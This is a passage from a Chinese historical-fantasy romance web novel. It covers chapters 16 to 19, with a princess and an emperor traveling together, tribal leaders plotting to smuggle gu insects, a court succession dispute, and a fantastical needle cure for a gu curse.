万俟庭望着她耳尖和脸颊的红霞,比残阳还要艳上三分,刚刚平复一点的心跳,又有起伏的迹象,他默默挪开了双眼。
诺敏缓了片刻,再抬眸时,已经恢复了平静,她露出一抹假笑唤了一声:“万俟庭。”
他回首就对上她唇边的不怀好意,然后下一刻小腿就传来巨痛,诺敏留下一句“登徒子!”,甩袖就走。
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残阳如血,浸透了草原连绵的青丘。
布日固德踏着马靴走向金雕部的主帐,帐前十步,持刀卫兵横臂阻拦,首领额尔敦掀
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帘而出,耳边的铜环随着步伐晃出冷光。
他大声呵斥拦路的卫兵:“都让开,怎可对本首领的贵客如此无礼!”
又朝向布日固德的方向,微微颔首行礼:“您受累了,快请进。”
额尔敦侧身让路,布日固德面色平静,踱步入内。
布日固德沉声开口,嗓音却听不出喜怒:“额尔敦首领找我前来,所为何事?我记得上次计划失败,首领并未为我出头。”
“若首领只是想稳坐钓鱼台,那还是与别人合作吧,我可不想最后为他人做嫁衣。”
额尔敦行至他的身旁,环顾了下四周:“都下去。”
余光瞥见还有一个跟在布日固德身后的侍卫一步未动,眸中划过一丝寒意。
布日固德淡淡开口:“此人乃我心腹,首领不必对他见外。”
额尔敦脸上瞬时堆满了笑意:“是是。上次纯属我的过失,才让苏布达哈敦被诺敏绑走,只是没想到,待我再次收到您消息时,您已经到了南山。”
“那时我便猜测定是诺敏从中使了手段害我延迟,我就只能静待合适的时机,再跟您联络。”
布日固德睨了他一眼,并未开口。
额尔敦瞧见了他眉间的不耐,轻声开口:“......我听说您阿公手下有一支名唤麒麟的商队,与轩辕的皇商陆家,长期合作......”
又听他道:“轩辕对从其他国家进货的审查流程格外严格,而我部手下有一货物,想请麒麟商队帮忙运到轩辕。”
布日固德望着他小心谨慎的模样:“货物?恐怕不是普通的货物吧,不然以额尔敦首领的能力,怎会需要向我这个流放的罪人求助。”
布日固德撩开袍角坐下端起茶盏,用杯盖轻拂了拂茶沫,余光扫过额尔敦略带迟疑的眉眼,浅饮了一口才道:“若首领连这点都不肯如实相告,那又何必浪费彼此的时间。”
他将茶盏“咚”地一声放置在案上,起身欲走,额尔敦连忙开口:“统领留步。”
额尔敦犹豫了片刻后才道:“缠虫蛊。”
布日固德面带疑惑:“这是何物?”
“想必您也得知了诺敏在西蛮养蛊虫一事,为防一手,我怎能不做准备。”
“这缠虫蛊顾名思义,乃是蛊虫的克星。”
“据闻大昭的摄政王和西蛮的少主,与诺敏的关系匪浅,所以我必须将这批蛊挪出北朔,而最好的养蛊地就是轩辕。”
布日固德闻言,暗暗心惊,没想到他的消息网布的如此之广,想打听这些蛊从何而来,但终究没有打草惊蛇,只淡淡问道:“有多少?若是太多,恐怕麒麟商队也运不出去。”
额尔敦见他答应,瞬间喜上眉梢:“不多,大概一万只左右,都是幼虫阶段,隐藏在商队的货物中,应当很难被发现。”
布日固德:“此事我若替你办成,于我有何益处?”
额尔敦上前又替他斟了一杯茶:“若此事能成,我替您除掉诺敏。”
布日固德摇了摇头:“我自己的敌人,我自己动手。”
他抬眸盯着布日固德的双眼:“我要你在北朔所有的关系网。”
16. 闭嘴
额尔敦拿着茶壶的手微微一顿,眸色变得意味深长,他放下茶壶才道:“所有?”
布日固德轻笑一声:“怎么,额尔敦首领这是舍不得?人总不能既要又要,我若手中不拿点砝码,怎么安心与首领合作呢。”
随后又不清不淡的瞥了额尔敦一眼:“毕竟上次合作,首领也不曾让我看到你的诚意。”
额尔敦垂眸思忖了片刻后,才开口:“虽说我想跟您合作,但若将我的底牌都交给您,我心中也甚是难安啊。”
“不若这样如何?为表我的诚心,我将王庭和玄虎部的情报网交给您。”
布日固德本身就知道不可能拿到全部,不过试探试探额尔敦的底线而已,他面露为难:“首领的诚意不过如此么?”
额尔敦看着他渐渐失去耐心的模样,尽管心生不满,但也只能暗暗压下:“那再加一个苍狼部!”
布日固德看着火候差不多了,才收起不耐的眉眼:“行。首领只管准备好货物,不日麒麟就会上门。”
额尔敦终于得到自己想要的,立马殷勤的吩咐下人:“快带布日固德统领去休息,好好伺候着,不可怠慢。”
待布日固德和暗一回到客帐,布日固德打量了一下四周,确认无人监听后,才开口:“额尔敦此人惯会察言观色,知道我与敏敏有仇,将王庭和三王子那儿的关系网给我,很好理解。”
“但他在卓鹰与苍狼之间,选择将最强大的苍狼给我,表面看起来是为表诚意,但我总觉得有些不寻常。”
他面露疑色,抬眸看向暗一:“据我所知,卓鹰部的首领朝鲁与敏敏的关系匪浅,若我得到朝鲁那儿的暗桩,于敏敏而言,该是有害无利才对......”
暗一躬身答道:“属下这就传信给公主。”
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大昭紫宸殿内,檀香幽微,棋盘上黑白二子已杀至中局。
年轻的小皇帝谢怀屿捏着墨玉子迟迟不落,慕砚竹轻唤了一声:“陛下。”
“朱掌事。”谢怀屿忽然开口,声音压的极低,像是怕惊动了殿外值守的御龙卫的影子。
慕砚竹余光瞥见他满是不安的眉眼,轻声应道:“陛下请说。”
“今日早朝,想必你也看到了,朕这个朝堂都快成了他谢旬舟的一言堂,真是让朕难安啊。”
谢怀屿手中的棋子“咔”一声被按在棋盘,力道大得将旁边的白子挪动了半分。
慕砚竹捻起白子,缓缓开口:“陛下,凡事不可操之过急,徐徐图之才有望一击必中。”
谢怀屿似是想到了什么有趣的事,唇角微弯:“是啊,掌事说的对,徐徐图之必能一击即中。”
“小明子,过来给朱掌事认认脸。”
谢怀屿指向跪在殿中的一个青衣小内侍,看向慕砚竹:“掌事以后若有要事,可直接寻他传达。”
他又道:“你们二人皆是朕一手提拔,不可辜负朕的信任。”
待慕砚竹行礼告退,小明子才上前躬身询问:“陛下,虽然查到了他是个无父无母的秀才,但万一是摄政王特意安插的人,身世造假也是轻而易举的,可要对他用蛊?”
谢怀屿睨了小明子一眼:“你是看见谁就想试试你那蛊毒,是不是哪一天你也会对朕用上。”
小明子立马伏跪在地,声音带着惶恐:“陛下,就是给奴才一百个胆子,奴才也不敢背叛您啊。”
谢怀屿:“起来吧,朱严牧若真是谢旬舟的人,谢旬舟怎会反对他担任天子掌事,这个位置可是最好接近朕的,谢旬舟可不会那么傻。”
“至于蛊毒,他若是真的敢背叛朕,一个秀才,朕要杀他还不是轻而易举。”
小明子:“陛下英明。”
亥时末,小明子躲在宫墙的阴影里,等着最后一班巡逻此处的御龙卫走过。
他将信鸽捂在衣襟中,直到脚步声走远才捧出来放飞,一声犬吠声传来,小明子回首望了一眼,随即收回目光,向深宫处走去。
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晨光从纱窗透进来,江成安一睁眼就看到了立在窗台上的信鸽,系在信鸽脚踝的铜管还沾着晨露。
江成安起身将雕花长窗完全推开,微风卷着庭院里的花香扑进来,却化不开他眉眼间的沉重。
他展开信笺,目光扫过那力透纸背的字迹:“尽快动手,勿妇人之仁。安好,勿念。”
远处传来一阵又一阵的鼓声,由缓转急。
今日是西蛮的朝祭节。
侍女捧着祭服停在门口:“主子,该更衣了。”
江成安将信笺撕毁,扔进洗笔池,淡声开口:“进来吧。”
他回首就望见了那一身少主规格的服饰,眸光微颤,嗓音干涩:“......少主呢......”
侍女:“应是去找乌云娜统领了,少主让奴婢将此衣裳送来给您。”
江成安:“下去吧,我自己来。”
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祭祀台上,青铜鼎中干柴正烈,西蛮族族长江淮渊披着翻毛羊皮褂,头戴墨色毡帽,赤脚踏在羊皮毯上,脚踝的白贝串随着他的动作沙沙作响。
羊皮鼓一声接着一声,敲在人的心尖上。
“成安,你怎么这么慢?”江致挪了几步,靠近江成安,低头悄声询问。
江成安:“衣服繁琐,来得慢了些。”
江致理了理垂下来的坎肩,赞同的点头:“确实,不过好在两年就穿这一次......”
他余光瞥见江淮渊投过来的凌厉眼神,立马站回原位。
待江淮渊祭祀舞完,朝台下喊了一声:“成安、小致,过来。”
江成安怔在原地,西蛮族只有下一代的族长,才有资格敬告山神,祈求庇佑,而他不过一个义子。
江致望着发呆的江成安,拉住他的手腕就走。
“义父,这......”江成安迟疑的开口
江淮渊拍了拍江成安的肩头,嗓音慈霭:“成安,你如今也算是我的儿子,江致是个混不吝,你坐这族长之位又如何?”
江致兴奋道:“父亲当真?”
江淮渊睨了一眼他愉悦至极的眉眼,没好气的瞪了他一下:“你成天吊儿郎当没
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个正形,这族长之位你承不住,成安接了又有什么不行。”
“行行行,怎么不行,父亲终于肯放弃我了。”江致一把搂住江成安的肩膀:“哥,以后就交给你了!我要跟诺敏姐姐去浪迹天涯!”
江成安面带惊愕的看着江淮渊,已经听不见周遭的声音:“......义父。”
江淮渊:“不必惊讶,在我收你为义子时,就已经有此打算,我虽与你只相处了三年,但你处处为西蛮着想,你的为人处事我看的清清楚楚,我相信你可以担此重任。”
江成安此刻脑中一片混沌,他做的所有事都只是为了得到江淮渊的信任,他满是算计,却得到了一片真心,他怎么配呢。
江成安凭着本能随着江致一起叩拜山神,袖中的手微微颤抖,心中酸楚难抑。
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密林在身后缓缓闭合,林外天光豁然倾泻,刺得人几乎睁不开眼。
诺敏躲在万俟庭身后,用他的身形挡住了细碎的金光,等适应了片刻,才从他身后出来。
不远处,一缕炊烟从茅草屋上袅袅升起,这些时日,他们二人不是在啃野果,就是在找野果的路上,诺敏已经快不能忍了,终于看到了人家,她立马往那处走去。
许是脑中念叨着吃食,诺敏腹中便似回应般,传来一阵绵长的空鸣声。
跟在她身后一步的万俟庭自然是听到了,那声音还没完,他的耳朵就被一双小手捂住了。
诺敏瞥见他唇角的戏谑,瞪了他一眼,他竟更开怀了,真是个登徒子。
“饿了?”他嗓音带着玩味。
“闭嘴!”
待打鸣声止,诺敏才放开手,万俟庭看着她那疾步前行的背影,摸了摸自己微微发烫的耳尖,又抚了抚自己的胸口,总感觉自己有点不对劲,难道被她下了蛊?
.
待二人走近,那是一个极小的院落,篱笆稀稀疏疏的围拢着,院内晾着几件粗布衣裳,檐下挂着成串的红辣椒和玉米,院角有只母鸡,正领着几只小鸡崽在土里刨食。
此处安详得与密林割裂成两个世界。
一位系着碎花围裙的妇人探出头来,手上还拿着摘了一半的豆角,看见他们二人,面露惊疑:“你们是哪个?”
诺敏温声答道:“大娘,我们去密林采药迷了路,可否在您家里歇个脚?”
诺敏从锦囊里取出一锭银子:“我们没有恶意,这是我们借住的费用。”
妇人放下豆角,将手在围裙上擦了擦,她打开竹门:“你们身上这污糟的,快进来吧。”
“你们叫我常大娘就是,我儿去镇上书院了,你们正好住他那屋,东西都是干净的。”
诺敏将银子塞进她掌心:“我们就叨扰您一夜,麻烦常大娘给我们烧点热水,再弄些吃食。”
常大娘摸了摸银锭,眼眸含笑:“应当的,应当的,你们等等啊。”
待常大娘走回灶房,万俟庭忽而开口:“我们住一屋?”
诺敏望着屋内仅有的一张床榻,唇边勾起两个梨涡:“就劳烦陛下替本宫守夜了。”
17. 势在必得
夜风沁凉,木窗敞开着,诺敏身上洗净后的皂角清气,随着清风徐徐透入万俟庭的鼻尖。
常大娘不知怎么就默认两人是夫妻,而他们谁也没开口解释。
灯火下,诺敏端起面前的粗陶碗,慢饮一口颇为寡淡的鸡汤,松散微湿的墨发垂在肩侧,余光瞥见万俟庭一动不动的汤碗:“你不饿?”
万俟庭看着碗内浮起的一小片油光,将碗推远了些,淡声开口:“不饿。”
诺敏冷冷地瞥了他一眼:“你是不饿还是嫌弃?你比我这女子还娇贵?”
“你要是不吃就将银子还我。”她赌他身无分文,这皇帝果然是当久了,就不知民间疾苦了。
万俟庭看着她嫌弃的神情,终究还是端起了粗陶碗。
待二人用完,不知何时,屋外已下起了连绵细雨,万俟庭踱步到窗边,将木窗掩上。
“我睡地上。”
“你睡地上。”
两人异口同声,又同时闭嘴。
诺敏将床上的两床被子分了一个给他,轻咳一声:“你既如此‘体贴’,本宫也就不推辞了。”
她见万俟庭二话不说,就将床褥垫在地上,背对着她躺了上去,忽然觉得自己有点缺德,那泥地潮气隔着鞋底都能感觉出来,何况外面还下着雨,他又有伤,万一再发高热......
诺敏闭了闭眼,深吸了一口气然后叹出,她发现自从遇到他开始,把她这辈子的气都叹完了。
她用脚尖轻踢了一下万俟庭的腰:“喂。”
万俟庭转过身就对上了她满是纠结的眉眼:“怎么了?”
诺敏顿了片刻才道:“......你......你上来吧。”
她状似无意地理了理袖口,又抚了抚长发:“本宫允你同榻。”
万俟庭坐起身,微挑了挑眉梢,悠然一笑:“朕还是不能毁了公主的清......”。
“誉”字还没出口,就被诺敏拽住衣领,猝不及防间,她一个巧劲就把他带到了榻上。
厚实的床榻比他想象中硬,撞得他伤口微痛,诺敏双手还拽着他,整个身子压在他身上。
“你怎如此矫情,明日若是病倒了,耽误本宫的行程。”
二人四目相对,万俟庭的衣领被诺敏扯的微微散开,她的拇指因动作划过他的喉节,指尖的凉感带来了阵阵颤栗,他的喉咙上下滚动,呼吸沉重了三分。
他的眸中又出现了诺敏看不懂的情绪,眼底晦暗幽深,她旋即移开眼松开手起身,将枕头横在床榻中央,自己挪到床榻里背对着他:“......睡觉。”
万俟庭坐在床榻边,盯着她的背影微微出神,他摸着喉间那处残留的触感,唇角微勾,眸中尽是自己也未曾察觉到的温柔。
霎时,屋内只余两道清浅的呼吸声,一个无知无觉,一个乱了节奏。
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晨光斜透过木窗,落在临窗的木桌上。
万俟庭意识回笼的瞬间,最先感知到的是自己臂弯处的麻意,他以一种近乎拥揽的姿态,将诺敏圈在了自己的怀里,手掌隔着一层薄薄的里衣,能清晰的感触到那纤细的腰肢,她的两只手窝在自己的胸前。
而二人之间的枕头早就被踹到了床脚,他视线所及之处是她散乱铺陈的墨发和静谧安逸的睡颜。
诺敏在他怀里睡得毫无防备,呼吸清浅,嘴唇微张。
万俟庭脑中一片混沌,他想悄悄收回臂膀,可鬼使神差地,那只抱在她腰间的手抚上了她的粉唇,指尖的触感柔软的不似平日里那张不饶人的利嘴,他的呼吸不自觉地放轻,冲动悄然滋生。
一种理不清的情绪促使他缓缓靠近,他的目光不受控制地,落在她的唇上,他缓缓地低下头去,二人之间仅剩一指的距离。
诺敏似是在睡梦中感觉到了什么,含糊的咕哝了一句,听不真切。
万俟庭的心跳骤然失了一拍,几乎要立刻退开,却被一种更汹涌的渴望盖过,再不犹豫,他的唇如羽毛般印在了诺敏的唇角,一触即分。
那触感温热,那刻属于她的气息笼罩着他,让他莫名欢愉,清晨万籁俱寂,只余他咚咚的心跳声。
万俟庭纵是还无法理清那莫名的情绪,但他确定了一件事,他想要得到她。
若是此刻诺敏睁眼,就能看到他那原本炽热的目光多了势在必得。
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西蛮无尘谷亭月斋内。
“腕悬空。”青衫站在苏日娜身后,影子将她整个拢住。
苏日娜指尖一颤,望着宣纸上洇开的墨迹,毁了才写两行的字,微微皱眉,不满道:“先生为何突然出声,害得我又得重写。”
从昨日开始,青衫就已经晋升为她的书法老师。
苏日娜袖口已沾染了星星点点的墨迹,端起手边的茶盏放置唇边,正欲饮用,忽听青衫轻声开口:“大公主不在,四公主不必如此紧张。”
苏日娜遂将茶盏放下,摇了摇头,认真道:“不行的,阿姐要是知道我如此懈怠,她定会罚没我的零嘴。”
青衫低笑一声,手忽然从侧后覆上来,掌心贴着她的手背,将笔杆重新握稳:“握笔如执剑,力道在筋骨,不在皮肉。”
她背脊僵直,靠的太近了,近得能看清他袖口银线绣的云纹。
“竖,要直。”
“走神了。”他气息拂过她耳尖,那里立刻泛出薄红。
苏日娜霎时站起,离了青衫几步远,声音结结巴巴:“......先生!我阿娘说......不是夫妻......不能靠这么近的!”
青衫怔愣片刻,眸中划过一丝意外,随后唇角弯起一抹弧度:“是某僭越了,望公主见谅。”
苏日娜看着他认真行礼的模样,摸了摸发烫的耳尖,轻声呢喃:“......没关系,我原谅你了。”
忽而屋外传来一阵急促的脚步声,苏日娜抬眸就看见了奔跑入内的乌云娜。
乌云娜一把拉过她,又绕着她转了个圈。
苏日娜:“发生何事了。”
乌云娜确认她没事才松了口气,躬身行礼:“今日无尘谷内,很多人在饮下早茶后,均呈现中毒之象,用的多的已经昏迷不醒了,暗二等人也中招了,属下着急您出事,这才对您无礼。”
苏日娜回首看了一眼桌案上的茶盏,拍了拍
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胸口,还好还好,差一点就喝了。
她又问道:“有解药么?可抓到凶手了?”
乌云娜摇了摇头,蹙眉道:“此人行踪隐蔽,竟没留下一丝痕迹,族长已派人在研制解药。在抓到凶手前,公主就待在院中别出去,属下会将每日送来的吃食让人再检查一遍。”
她又看向青衫,眸色微冷:“青衫先生今日也未用茶水?”
青衫唇边露出一抹浅笑:“是啊,四公主一大早就将某喊过来教她练字,不曾有空,现在想来真是阴差阳错啊。”
乌云娜并不相信他这般的说辞,哪个普通书生会在听闻有人中毒昏迷后还处事不惊,她淡淡开口:“是吗?先生还真是好运,不过眼下事态严峻,练字还是等抓到了真凶再说吧,先生可以回去了。”
青衫面色平静地点了点头,朝苏日娜道:“那四公主,我就先走了。”
西蛮议事厅内,江淮渊坐在上首,看着跪在地上求饶的侍卫,拧了拧眉头。
“你们都下去吧,每人去领一百军棍。”江成安的声音从屋外传来。
江淮渊:“成安,可查到了?”
江成安蹙眉摇了摇头:“义父,凶手既然能摸到我族的水源地,必定是我族内部知晓庶务的人。”
他站在堂下脑海翻涌,他并没有动手,族内竟还有其他人跟那人联系。
江致义愤填膺:“天杀的,竟然敢暗害自己的族人,被老子查出来,定要他偿命!”
江淮渊抬手指向他:“老子?你老子我还在这儿呢!一天天的没个正形,好在有成安,不然指望你?”
江致看着火气愈发旺盛的江淮渊,忙躲到江成安身后,低声道:“我这不是着急么?”
“要是姐姐在就好了,她肯定能看出是什么毒。”
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西蛮淳化镇。
诺敏瞅着眼前的两条腰带犯了难,就在刚刚她给他们二人买了衣裳、马车,只剩下些微的盘缠,仅够用于住店和吃喝。
若是平时,她怎会纠结,肯定就都买了,没曾想自己也有为钱犯难的一天。
她眸光一转,侧首盯着旁边还在整理衣襟的万俟庭,唇边勾起一抹坏笑:“万俟庭......”
万俟庭回首就瞥见了那熟悉的眼神,无奈地叹了口气:“说吧,想干嘛?”
诺敏凑近了几步,下巴近乎贴着他的臂膀,眸色闪亮的盯着他看,嗓音温软:“......陛下......你卖个‘色’呗。”
万俟庭微微一愣,随后唇角变得僵硬,话从齿缝中挤出:“你、说、什、么?!”
诺敏轻拍了一下他的背:“别那么小气嘛,我钱都花你身上了,都没钱买礼物了。”
万俟庭余光扫过那明显是男人的腰带,冷眼看着她默不作声。
诺敏忽觉周围冷飕飕的,见他真的要动怒,赶忙捋毛:“谁让陛下如此风流倜傥,你只要往那儿一站,随意耍几套剑法,这银子不就来了么?”
见他还不开口,她又道:“哎,还想给陛下买一条腰带的......”
“算了,还是我去‘卖色’吧。”话刚落,手就被拽住了。
18. 腰带
诺敏垂眸望着拉住自己的那只大掌,抿唇憋了憋笑意:“这是......”
万俟庭:“我去。”
“将笛子给我。”
诺敏从腰间解下笛子递给他,眸中闪过一丝狡黠:“那就劳烦陛下了。”
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长街转角处,人群围得跟铁桶似的,那玄色身影如孤鹤凌空,他翻身时衣袂鼓荡,落地时足尖轻旋,竟不惊起一粒尘埃。
手中的竹笛越舞越快,劈开微风,忽而竹笛一收,竖立在后,他定在场心,余晖落在他半边脸上,下颌分明,围观的小娘子们都屏住了呼吸。
直到一声“好”字从诺敏口中喊出,周边的人才回过神,纷纷鼓掌。
诺敏端着粗陶碗,已经悄无声息地滑入人群,铜钱一枚接着一枚的落入碗中,叮叮当当,待收完一圈,碗里已经将满未满。
她将铜板数了数,够买腰带了,还有得多。
诺敏站在万俟庭身旁,微微踮起脚,按住他的头跟她一起朝人群鞠了个躬:“谢谢各位捧场。”
万俟庭被她这突如其来的一下弄得怔了片刻,想他堂堂帝王,从十六岁后再没卑躬屈膝过,如今卖艺就算了,还被压着弯了腰,他垂眸觑着诺敏。
尽管他面无表情,诺敏还是品出了他的恼怒,在他开口一个:“你!”字时,她就往后退了一步,唇角微弯,理所当然道:“都是你我的财神爷,还当不得你我鞠此躬?”
见万俟庭只盯着她不语,她又道:“......我去给你买腰带。”话音刚落,就一眨眼跑进了成衣铺。
万俟庭看着那有点落荒而逃的背影,瞥着手里的短笛,唇角弯了弯,今天还真是晴空万里啊。
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马车内。
“......拿我出力得到的银钱,买东西送给我......”和其他人。
万俟庭看着手中的银线云纹腰带,余光又扫向诺敏手中的金线虎纹腰带,呵,还是个银线的。
诺敏将腰带收进袖口,掩着唇轻咳一声,眸光游离了一瞬才道:“陛下什么好东西没见过,何必如此小气。”
他小气?万俟庭平生第一次被气笑了:“公主还真是大方。”
他将手中的腰带放置一旁,双臂一抬:“那就劳烦公主替朕换一下腰带了。”
诺敏看着他那不善的眼神,想着要是这会儿给他扎一针,定住他的可能性有多大。
“朕劝公主三思。”万俟庭醇厚的嗓音传来。
行,看来偷袭没戏,终究是她理亏。
诺敏挪了一下位置到他身旁,腰带环过他腰身,指尖在他腰后抽紧时用了十成力,然后飞快地打了个死结。
万俟庭闷哼一声睁眼,她已经退至一旁,捧起书籍作势要细看,帘隙漏进的光照着她低垂的眉眼和唇角淡淡的弧度。
他被勒的有些不适,指尖扯了扯腰带。
......纹丝不动。
万俟庭轻挑眉梢:“故意的?”
诺敏翻过一页纸,纸声哗啦:“手生。”
她眼眸微抬:“陛下多担待。”
万俟庭伸手摸到腰后那个死结,竟低笑出声,死结也好。
诺敏:“轩辕的太医不善脑病的话,本宫可以代劳。”
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轩辕乾龙殿,鎏金蟠龙香炉腾起的轻烟被推门带起的微风扰乱。
“陛下......如今生死未卜,国又岂可一日无君?”太后沈青梧的声音颤抖,握着绢帕的手时不时的擦拭着眼眶。
她又道:“依照我朝律例,当由哀家暂摄玉玺,枢密院与三......”
“太后娘娘。”邵宗叙的声音从蟠龙柱的阴影里浮出来。
他身着一身紫袍,自群臣行列尽头缓步而出,他手中拖着的不是象牙笏板,而是一卷明黄的圣旨。
“天子失踪,非崩非禅,若有旨意遵从旨意,若无旨意才由太后娘娘暂存玉玺。”他声音不高,却精准的传入每个大臣的耳中。
邵宗叙展开手中的圣旨,群臣跪地,他高声唱喝:“奉天承运,皇帝诏曰:朕若有不测,着丞相邵宗叙总摄朝政,节制六部,权同监国,若遇非常之变,着其持朕之天子剑,行废立之权,可先斩后奏,钦此。”
沈青梧指尖的护甲划过掌心,留下一道道血痕,那孽畜竟是死都不安生。
她忽而轻笑:“看来是哀家多虑了,既然陛下已有安排,那哀家就先回去了,还望丞相替陛下好好守着这轩辕的江山。”
邵宗叙躬身行礼:“臣定不负陛下的嘱托,臣等恭送娘娘。”
待沈青梧走出大殿,沈青野才走至邵宗叙身旁,面露忧色:“邵相,陛下他......”
邵宗叙抬手打断他的话:“永安侯还是一直做个闲散的侯爷吧,陛下如何是我等该操心的事。”
“若侯爷实在想找事做,那就多劝劝您那妹妹,有的事可一可二不可再三,陛下留她一命到现在,已是格外开恩了。”
沈青野看着天边的乌云,眉头紧锁,他何尝不想劝,可执念入骨的人,非死不得解脱。
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寿康宫内,沈青梧端坐在案后,忽然扬手,青瓷盏在半空划出一道弧度。
“哗啦!”迸溅开来,落在沈青野刚跨进殿内的脚边。
他绕开碎瓷:“陛下失踪,可是你的手笔?”
沈青梧轻抬眼眸,对上他凌厉的视线,轻笑一声:“哥哥可还记得哀家才是你有血缘的亲人?”
沈青野寻了一张檀木凳坐下:“若不是顾及你是我妹妹,我会来此问你?”
“青梧,放过他,也放过你自己吧,你应当知晓当初若不是你要毒死他,那碗杏仁酪怎会被商儿误食?!”
沈青梧狠狠一拍桌案,厉声驳斥:“哀家要他一个血脉不纯的孽畜去死,是他的荣幸!若不是他将杏仁酪拿给商儿,商儿怎会......!”
“他那贱人娘敢勾引先帝,生下他这个孽种,就该想到哀家绝不容许他活着!”
沈青梧双眼浸满仇恨,她看向沈青野,嗤笑一声:“呵,想不到哥哥如此深情,那贱人都死了二十四年了,还念念不忘呢,怪不得嫂子能被你气死......”
“够了!你若还
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是执迷不悟,我沈家就当从没出过你这个女儿!”话落,沈青野甩袖就走。
沈青梧扶着映月的手缓缓起身,眼中空茫:“......映月,哀家的商儿你当是没见过,也曾一口一个皇兄的喊着他,他怎忍心下得去手啊,商儿才七岁啊......”
她握着映月的手渐渐收紧:“哀家执迷不悟?哀家不过要他一命赔一命!有何错?!”
映月眸光闪动,她虽只是个宫女,但皇室密辛还是知道不少的,关于六皇子小小年纪就喜爱欺凌下人的传闻,不知听了多少,就算那时不死,长大了也是个祸害。
她掩去眸中的不屑,恭敬答道:“娘娘当然没错。”
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距离无尘谷三里外,诺敏将马夫打发走后,回首就扯下腰间的丝带,蒙上了万俟庭的眼。
诺敏:“既然你执意要跟着本宫,那就按照本宫的规矩来。”
刚刚让他去找他的暗卫,非说联系不上要跟着她,那她就看看他到底要干嘛?
万俟庭抚了下眼上的丝帛,鼻尖还萦绕着她袖间的松木香:“敏敏,这是作何?”
诺敏看着他还算听话的模样,开口道:“西蛮无尘谷非族人不可知其所在,所以只能委屈陛下了。”
万俟庭默然片刻,脑中想着陆祁安应该没找到无尘谷的方位,那他把常嬷嬷跟丢了,常嬷嬷会不会就在里面。
他被诺敏牵着衣袖往前走:“那敏敏如何得知?”
诺敏边算着机关的方位边道:“陛下多管闲事的毛病要改改。”
走了片刻后,脚下碎石渐少,泥土松软起来。
诺敏:“到了。”
她从万俟庭的腰间取下她的短笛,轻奏一曲,古树挪移,万俟庭解下丝帛,天光豁然倾泻,他眯起眼,待看清时,一少年打马从远处奔来。
口中喊着“姐姐,姐姐......”,嗓音愉悦。
那少年翻身下马时衣摆扬起山风,他几乎踉跄着扑来,双臂死死箍住她的臂膀。
诺敏怔了怔,她抬手拍了拍少年的背脊:“怎还是如此莽撞。”
那嗓音温柔,是万俟庭不曾听过的语调,他静立在光影交替处睨着那两人相拥的身影,甚是碍眼。
江致像是终于发现了第三个人的存在,缓缓放开诺敏,看向万俟庭,眸中尽是不悦:“这位是......”
还不待诺敏开口编个身份,万俟庭上前几步,用身子隔开诺敏和江致,唇角微弯:“轩辕帝万俟庭。”
江致不可置信的看着诺敏:“姐姐,你怎么带......”
诺敏看着万俟庭唇边的促狭之意,白了他一眼,他倒是好,本来编个寻常人的身份,过几天就可以将他打发走,现在自爆身份,他想待多久就待多久了,西蛮族长怎可能出口赶人,不认真招待,也得认真招待了。
诺敏看向江致开口道:“进去说吧。”
她又回首瞪了万俟庭一眼:“陛下还真是狗皮膏药。”
万俟庭轻笑一声,余光瞥见江致作势上前要搀诺敏的臂膀,他立马上前拽住江致就走:“劳烦带路。”
19. 暗潮
廊檐深深,江致在前带路,万俟庭和诺敏跟在他身后缓步而行。
“不知陛下到我西蛮所为何事?”江致忽而驻足回首问道。
万俟庭环顾了一下四周,顿觉稀奇,这西蛮族仆人这么少么?从进门到现在,只见到了两三个仆人。
他没答江致的话,反而看向诺敏:“敏敏住在何处?”
诺敏心中也颇为疑惑:“小致,院中的下人呢?”
江致看了万俟庭一眼才道:“姐姐,他们都中了蛊毒,只是至今只能用药缓解,药师还未制出适配的解药,这也是我准备麻烦姐姐的。”
“不过姐姐放心,苏日娜没事。”
诺敏:“带我去看看吧。”
她又瞥向万俟庭:“小致,你唤个人带轩辕陛下先去休息......”
话还没说完,万俟庭已经大步向前走去:“江少主赶紧带路,朕跟江族长曾有过一面之缘,他出了事,朕既然来了,也应当去看看。”
房内药香浸了满室,江淮渊躺在榻上,唇色苍白,尽管他双眸紧阖却依旧咳嗽不止。
灯影照在诺敏宁静的侧脸,她并着三指搭在其腕上,指尖底下,那脉息初时潺潺如溪,忽地一滞,旋即乱窜起来,像是有什么活物,在血脉深处挣着要破出来。
“公主......”榻上的人缓缓睁眼,挣扎着要起身,被诺敏一把按下。
“江叔叔,您现在要做的就是躺着好好休息。”诺敏换了只手再探了片刻才收回手。
“如何?”立在一旁的江致急急上前。
诺敏把江淮渊的手放回被中才道:“不是毒。”
是蛊。
在场的西蛮族老顿时愣在原地,最后那个字虽然没说出口,但众人都已经明白了,这天下若说谁最善炼蛊,人人皆知定为西蛮族,可这蛊中了这么久,西蛮药师竟一直未察觉出来,怎能不让人惊骇。
一族老上前躬身询问:“公主,非是老朽质疑你的医术,只是若族人是中蛊了,我族最善炼蛊的药师怎会毫无所觉?”
“姐姐......”
诺敏抬手打断了江致未出口的话,怎么又是蛊,还是这种戏耍众人的蛊:“无妨,不怪族老多心。此蛊乃是消失多年的‘隐殇’,发作时,人的脉象会变得时弱时强,此虫隐入血脉后,踪迹难寻,需懂蛊之人用内力探之,所以寻常不懂武的炼蛊师也不会察觉。”
族老们霎时议论纷纷,“竟是隐殇?!此蛊虫早就绝迹,竟然还有人将它炼出来了,真是阴损至极!”
站在一旁的江成安眸色颤了颤,袖中的双手微微发抖,会是他干的么?这蛊虫却是他所有。
万俟庭靠坐在太师椅上望着诺敏,疑惑道:“何为隐殇?”
诺敏抬手从药箱中取出银针:“此蛊虫一旦进入血脉,如鱼遇水,若以寻常解毒的方法解此蛊,只会使这蛊虫愈发坐大,一旦长成,中蛊者便会爆体而亡。”
她看向江致吩咐道:“取烈酒、白烛,再要一盏新汲的井水。”
待东西全都到位,诺敏将银针在灯焰上细细地燎过,再将烈酒倒入放着井水的盏中。
诺敏:“江叔叔,会有些疼。”
江淮渊声音软弱无力:“无碍,我都这把年纪了还怕什么疼,公主尽管试。”
诺敏将银针放入茶盏中泡过再捞起,银针落在江淮渊的腕脉青痕之处,沉入三分,那处青痕霎时猛地一颤,竟似蠕虫般涌动,江淮渊眉头紧皱,额头已冒出细密的汗。
施针半盏茶后,那腕间的青痕已消失不见。
“江叔叔已无大碍,待好好睡一觉恢复元气即可。”诺敏将银针拔出扔进茶盏中,顿时那清澈见底的酒水已变得黢黑。
“看了公主的医术,我等真是惭愧。”刚刚还质疑诺敏的那位族老上前行礼赔罪。
江致上前拉住诺敏的衣袖,面带愉悦,眉毛上扬:“当然,姐姐的医术还用质疑?”
